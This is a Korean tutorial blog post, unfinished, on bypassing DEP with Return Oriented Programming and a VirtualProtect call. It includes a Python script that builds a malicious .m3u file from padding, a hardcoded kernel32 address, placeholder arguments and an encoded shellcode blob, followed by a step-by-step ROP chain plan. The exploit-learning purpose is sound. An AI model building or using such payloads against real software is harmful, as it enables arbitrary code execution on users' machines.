-->

(작성중) ROP (Return Oriented Programming)

OP에는 GOT Overwrite, RTL Chaining 등의 개념이 혼합되어 있다. DEP를 우외해 익스플로잇을 하기 위한 ROP에 대해 해당 게시글에서 차근차근 정리해나가려고 한다.

 

가젯(gadget) 이란

ROP에서 자주 등장하는 개념인 가젯이란 ret으로 끝나는 명령 조각을 말한다. (INT + ret 형태) 대표적으로 'pop - pop - return', 일명 PPR이 있다. 이러한 가젯을 사용해 내가 원하는 상황에 맞게 스택 포인터를 적당히 이동시켜주는 것이 중요하다. (ret을 사용해 esp로 돌아가고 esp를 올리기 위해 pop을 사용하고 등)

VirtualProtect()를 호출하여 DEP를 해제하는 방식

다양한 방식이 존재하지만, 그 중 가장 손쉽게 DEP를 해제할 수 있는 VirtualProtect API를 호출하는 방식을 살펴본다.

일단 필요한 인자를 보면, 아래와 같다.

  • lpAddress: DEP 속성을 바꿔야 할 영역의 시작 지점, 쉘코드 시작 지점
  • Dwsize: 바꿔야 할 영역의 크기
  • flNewProtect: 보호 수준 속성 (0x00000040)으로 설정하면 실행 가능
  • lpFloldProtect: 변경 전 상태를 저장할 변수 포인터

따라서 아래와 같이 스택을 구성해야 한다.

 

buf
SFP
VirtualProtect() address
dummy
argv[1] lpAddress
argv[2] Dwsize
argv[3]  flNewProtect
argv[4] flOldProtect
dummy
shellcode

 

 

인자 구성을 위한 가젯들을 찾아내기 전에 위와 같이 스택을 구성해준 후 VirtualProtect 호출과 인자 구성이 제대로 되는지부터 확인해보자.

import struct 

shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")

# dummy
dummy_1 = "\x41" * 1012
dummy_2 = "\x41" * 4
nops = "\x90" * 100

# VirtualProtect() & Parameters
virpro_addr = struct.pack('<L', 0x7513E4F6)  # VirtualProtect() address (kernel32)
param_1 = struct.pack('<L', 0x12345678) # return address (shellcode address)
param_2 = "\x42" * 4 # lpAddress
param_3 = "\x42" * 4 # dwsize
param_4 = "\x42" * 4 # flNewProtect
param_5 = struct.pack('<L', 0x12345678) # return address (shellcode address)

# Payload
buffer = dummy_1 + virpro_addr + param_1 + param_2 + param_3 + param_4 + param_5 + nops +  shellcode
 
file = open('VirtualProtect_test.m3u','w');
file.write(buffer);
file.close();

 

 

VirtualProtect()에 bp를 걸고 실행시킨 후, 위 코드에 의해 생성된 m3u 파일을 넣어주면 구성한 인자대로 스택이 구성되어있는 것을 확인할 수 있고 밑에 쉘코드도 삽입된 것을 볼 수 있다.

 

 

 

하지만 실제로는 VirtualProtect()의 인자 위치, 쉘코드의 위치 등이 동적으로 변하기 때문에 실제 정확한 위치에 대한 기준점을 잡기위해 현재 스택값인 ESP를 백업해둘 것이고 백업해둔 ESP를 변수로써 사용할 것이기 때문에 총 5번의 ROP가 필요하다. 처음엔 그냥 VirtualProtect() 주소를 리턴 부분에 덮어주고 해당 인자값 데이터를 찾아서 스택에 쌓아주기만 하면 VirtualProtect()가 수행되어 DEP가 해제될텐데... 하고 생각했지만 직접 페이로드를 짜다보면 안된다는 것을 금방 알 수 있다.

순서대로 시나리오를 정리해보면, 다음과 같다.

ESP 백업 ROP

ESP를 백업할 수 있는 가젯을 찾아 해당 가젯의 주소를 스택에 쌓는다. 현재 스택값(ESP)를 저장하는 이유는 VirtualProtect()의 인자 위치에 대한 기준점을 잡기 위함이다.

(스택상황)

ESP 백업을 위한 가젯의 주소

 

 

ESP 위치 변경 ROP

return address, dummy를 뛰어넘어 인자 구성 가젯 실행으로 가게할 가젯의 주소를 스택에 쌓는다.

(스택상황)

ESP 백업을 위한 가젯의 주소
ESP에서 +8을 하기 위한 가젯의 주소

 

 

VirtualProtect() 주소 추가

원래의 return address 부분에 VirtualProtect() 주소를 덮어쓴다.

(스택상황)

ESP 백업을 위한 가젯 주소
ESP에서 +8을 하기 위한 가젯 주소
(원래 return 주소 부분)
VirtualProtect() 주소

 

 

dummy 추가

VirtualProtect()의 리턴주소가 되는 부분에 dummy를 추가 (나중에 쉘코드 주소를 채워넣게 됨)

(스택상황)

ESP 백업을 위한 가젯 주소
ESP에서 +8을 하기 위한 가젯 주소
(원래 return 주소 부분)
VirtualProtect() 주소
dummy

 

 

ESP 위치 변경 ROP

이제 dummy 아래에 VirtualProtect의 인자 4개가 와야 한다. 해당 인자는 가젯 코드를 통해 동적으로 구해진 후 해당 위치에 채워넣을 것이기 때문에 메모리 할당을 해놔야 한다. 따라서 ESP를 +20 해줄 가젯의 주소를 구해 스택에 쌓는다.

(스택상황)

ESP 백업을 위한 가젯 주소
ESP에서 +8을 하기 위한 가젯 주소
(원래 return 주소 부분)
VirtualProtect() 주소
dummy
ESP + 20을 하기 위한 가젯 주소

 

(작성중)

댓글

Designed by JB FACTORY